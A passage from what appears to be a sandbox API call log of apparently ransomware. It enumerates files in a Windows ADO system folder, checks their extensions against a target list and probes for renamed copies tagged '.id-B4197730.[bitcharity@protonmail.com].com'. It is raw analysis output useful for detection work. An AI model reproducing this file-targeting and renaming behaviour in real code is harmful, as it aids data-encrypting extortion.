lpString2=".mui") returned 1 [0296.417] lstrlenW (lpString=".xlsx") returned 5 [0296.417] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.417] lstrlenW (lpString=".ppt") returned 4 [0296.417] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.417] lstrlenW (lpString=".zip") returned 4 [0296.417] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.417] lstrlenW (lpString=".rar") returned 4 [0296.417] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.417] lstrlenW (lpString=".bz2") returned 4 [0296.417] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.417] lstrlenW (lpString=".7z") returned 3 [0296.417] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.417] lstrlenW (lpString=".dbf") returned 4 [0296.417] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.417] lstrlenW (lpString=".1cd") returned 4 [0296.417] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0296.417] lstrlenW (lpString=".jpg") returned 4 [0296.417] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.418] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.418] lstrlenW (lpString="msader15.dll") returned 12 [0296.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.418] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=2560) returned 1 [0296.418] CloseHandle (hObject=0x1088) returned 1 [0296.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0296.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.419] lstrlenW (lpString=".doc") returned 4 [0296.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.419] lstrlenW (lpString=".docx") returned 5 [0296.419] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0296.419] lstrlenW (lpString=".pdf") returned 4 [0296.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.419] lstrlenW (lpString=".xls") returned 4 [0296.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.419] lstrlenW (lpString=".xlsx") returned 5 [0296.419] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0296.419] lstrlenW (lpString=".ppt") returned 4 [0296.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.419] lstrlenW (lpString=".zip") returned 4 [0296.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.419] lstrlenW (lpString=".rar") returned 4 [0296.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.419] lstrlenW (lpString=".bz2") returned 4 [0296.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.419] lstrlenW (lpString=".7z") returned 3 [0296.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.419] lstrlenW (lpString=".dbf") returned 4 [0296.420] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.420] lstrlenW (lpString=".1cd") returned 4 [0296.420] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.420] lstrlenW (lpString=".jpg") returned 4 [0296.420] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.420] lstrlenW (lpString=".doc") returned 4 [0296.420] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.420] lstrlenW (lpString=".docx") returned 5 [0296.420] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0296.420] lstrlenW (lpString=".pdf") returned 4 [0296.420] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.420] lstrlenW (lpString=".xls") returned 4 [0296.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.420] lstrlenW (lpString=".xlsx") returned 5 [0296.420] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0296.420] lstrlenW (lpString=".ppt") returned 4 [0296.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.420] lstrlenW (lpString=".zip") returned 4 [0296.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.420] lstrlenW (lpString=".rar") returned 4 [0296.421] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.421] lstrlenW (lpString=".bz2") returned 4 [0296.421] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.421] lstrlenW (lpString=".7z") returned 3 [0296.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.421] lstrlenW (lpString=".dbf") returned 4 [0296.421] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.421] lstrlenW (lpString=".1cd") returned 4 [0296.421] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0296.421] lstrlenW (lpString=".jpg") returned 4 [0296.421] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.421] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.421] lstrlenW (lpString="msado15.dll") returned 11 [0296.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.422] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=1233920) returned 1 [0296.422] CloseHandle (hObject=0x1088) returned 1 [0296.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0296.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.422] lstrlenW (lpString=".doc") returned 4 [0296.422] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.422] lstrlenW (lpString=".docx") returned 5 [0296.423] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0296.423] lstrlenW (lpString=".pdf") returned 4 [0296.423] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.423] lstrlenW (lpString=".xls") returned 4 [0296.423] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.423] lstrlenW (lpString=".xlsx") returned 5 [0296.423] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0296.423] lstrlenW (lpString=".ppt") returned 4 [0296.423] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.423] lstrlenW (lpString=".zip") returned 4 [0296.423] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.423] lstrlenW (lpString=".rar") returned 4 [0296.423] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.423] lstrlenW (lpString=".bz2") returned 4 [0296.423] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.423] lstrlenW (lpString=".7z") returned 3 [0296.423] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.423] lstrlenW (lpString=".dbf") returned 4 [0296.423] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.423] lstrlenW (lpString=".1cd") returned 4 [0296.423] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.423] lstrlenW (lpString=".jpg") returned 4 [0296.424] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.424] lstrlenW (lpString=".doc") returned 4 [0296.424] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.424] lstrlenW (lpString=".docx") returned 5 [0296.424] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0296.424] lstrlenW (lpString=".pdf") returned 4 [0296.424] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.424] lstrlenW (lpString=".xls") returned 4 [0296.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.424] lstrlenW (lpString=".xlsx") returned 5 [0296.424] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0296.424] lstrlenW (lpString=".ppt") returned 4 [0296.424] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.424] lstrlenW (lpString=".zip") returned 4 [0296.424] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.424] lstrlenW (lpString=".rar") returned 4 [0296.424] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.424] lstrlenW (lpString=".bz2") returned 4 [0296.424] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.424] lstrlenW (lpString=".7z") returned 3 [0296.425] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.425] lstrlenW (lpString=".dbf") returned 4 [0296.425] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.425] lstrlenW (lpString=".1cd") returned 4 [0296.425] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0296.425] lstrlenW (lpString=".jpg") returned 4 [0296.425] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.425] lstrcmpiW (lpString1=".tlb", lpString2=".com") returned 1 [0296.425] lstrlenW (lpString="msado20.tlb") returned 11 [0296.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.425] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=50688) returned 1 [0296.426] CloseHandle (hObject=0x1088) returned 1 [0296.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0296.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.426] lstrlenW (lpString=".doc") returned 4 [0296.426] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0296.426] lstrlenW (lpString=".docx") returned 5 [0296.426] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0296.426] lstrlenW (lpString=".pdf") returned 4 [0296.426] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0296.426] lstrlenW (lpString=".xls") returned 4 [0296.426] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0296.426] lstrlenW (lpString=".xlsx") returned 5 [0296.426] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0296.426] lstrlenW (lpString=".ppt") returned 4 [0296.426] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0296.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.426] lstrlenW (lpString=".zip") returned 4 [0296.426] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0296.426] lstrlenW (lpString=".rar") returned 4 [0296.426] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0296.427] lstrlenW (lpString=".bz2") returned 4 [0296.427] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0296.427] lstrlenW (lpString=".7z") returned 3 [0296.427] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0296.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.427] lstrlenW (lpString=".dbf") returned 4 [0296.427] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0296.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.427] lstrlenW (lpString=".1cd") returned 4 [0296.427] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0296.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.427] lstrlenW (lpString=".jpg") returned 4 [0296.427] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0296.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.427] lstrlenW (lpString=".doc") returned 4 [0296.427] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0296.427] lstrlenW (lpString=".docx") returned 5 [0296.427] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0296.427] lstrlenW (lpString=".pdf") returned 4 [0296.427] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0296.427] lstrlenW (lpString=".xls") returned 4 [0296.427] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0296.427] lstrlenW (lpString=".xlsx") returned 5 [0296.427] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0296.427] lstrlenW (lpString=".ppt") returned 4 [0296.427] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0296.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.428] lstrlenW (lpString=".zip") returned 4 [0296.428] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0296.428] lstrlenW (lpString=".rar") returned 4 [0296.428] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0296.428] lstrlenW (lpString=".bz2") returned 4 [0296.428] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0296.428] lstrlenW (lpString=".7z") returned 3 [0296.428] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0296.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.428] lstrlenW (lpString=".dbf") returned 4 [0296.428] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0296.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.428] lstrlenW (lpString=".1cd") returned 4 [0296.428] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0296.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0296.428] lstrlenW (lpString=".jpg") returned 4 [0296.428] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0296.428] lstrcmpiW (lpString1=".tlb", lpString2=".com") returned 1 [0296.428] lstrlenW (lpString="msado21.tlb") returned 11 [0296.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.429] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=53760) returned 1 [0296.429] CloseHandle (hObject=0x1088) returned 1 [0296.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0296.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.429] lstrlenW (lpString=".doc") returned 4 [0296.429] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0296.429] lstrlenW (lpString=".docx") returned 5 [0296.429] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0296.429] lstrlenW (lpString=".pdf") returned 4 [0296.429] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0296.429] lstrlenW (lpString=".xls") returned 4 [0296.429] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0296.429] lstrlenW (lpString=".xlsx") returned 5 [0296.429] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0296.429] lstrlenW (lpString=".ppt") returned 4 [0296.429] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0296.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.429] lstrlenW (lpString=".zip") returned 4 [0296.430] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0296.430] lstrlenW (lpString=".rar") returned 4 [0296.430] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0296.430] lstrlenW (lpString=".bz2") returned 4 [0296.430] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0296.430] lstrlenW (lpString=".7z") returned 3 [0296.430] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0296.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.430] lstrlenW (lpString=".dbf") returned 4 [0296.430] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0296.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.430] lstrlenW (lpString=".1cd") returned 4 [0296.430] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0296.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.430] lstrlenW (lpString=".jpg") returned 4 [0296.430] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0296.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.430] lstrlenW (lpString=".doc") returned 4 [0296.430] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0296.430] lstrlenW (lpString=".docx") returned 5 [0296.430] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0296.430] lstrlenW (lpString=".pdf") returned 4 [0296.430] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0296.430] lstrlenW (lpString=".xls") returned 4 [0296.430] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0296.430] lstrlenW (lpString=".xlsx") returned 5 [0296.430] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0296.430] lstrlenW (lpString=".ppt") returned 4 [0296.430] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0296.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.430] lstrlenW (lpString=".zip") returned 4 [0296.430] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0296.430] lstrlenW (lpString=".rar") returned 4 [0296.431] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0296.431] lstrlenW (lpString=".bz2") returned 4 [0296.431] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0296.431] lstrlenW (lpString=".7z") returned 3 [0296.431] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0296.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.431] lstrlenW (lpString=".dbf") returned 4 [0296.431] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0296.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.431] lstrlenW (lpString=".1cd") returned 4 [0296.431] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0296.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0296.431] lstrlenW (lpString=".jpg") returned 4 [0296.431] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0296.431] lstrcmpiW (lpString1=".tlb", lpString2=".com") returned 1 [0296.431] lstrlenW (lpString="msado25.tlb") returned 11 [0296.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0296.431] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=69632) returned 1 [0296.431] CloseHandle (hObject=0x1088) returned 1 [0296.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0296.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0296.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0296.432] lstrlenW (lpString=".doc") returned 4 [0296.432] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0296.432] lstrlenW (lpString=".docx") returned 5 [0296.432] lstrcmpiW (lpString1=".docx", lpString2="5.tlb") returned -1 [0296.432] lstrlenW (lpString=".pdf") returned 4 [0296.432] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0296.432] lstrlenW (lpString=".xls") returned 4 [0296.432] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0296.432] lstrlenW (lpString=".xlsx") returned 5 [0296.432] lstrcmpiW (lpString1=".xlsx", lpString2="5.tlb") returned -1 [0296.432] lstrlenW (lpString=".ppt") returned 4 [0296.432] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0296.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0296.432] lstrlenW (lpString=".zip") returned 4 [0296.432] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0296.432] lstrlenW (lpString=".rar") returned 4 [0296.432] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0296.432] lstrlenW (lpString=".bz2") returned 4 [0296.432] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0296.432] lstrlenW (lpString=".7z") returned 3 [0296.432] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0296.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0296.432] lstrlenW (lpString=".dbf") returned 4 [0296.433] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0296.443] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.443] 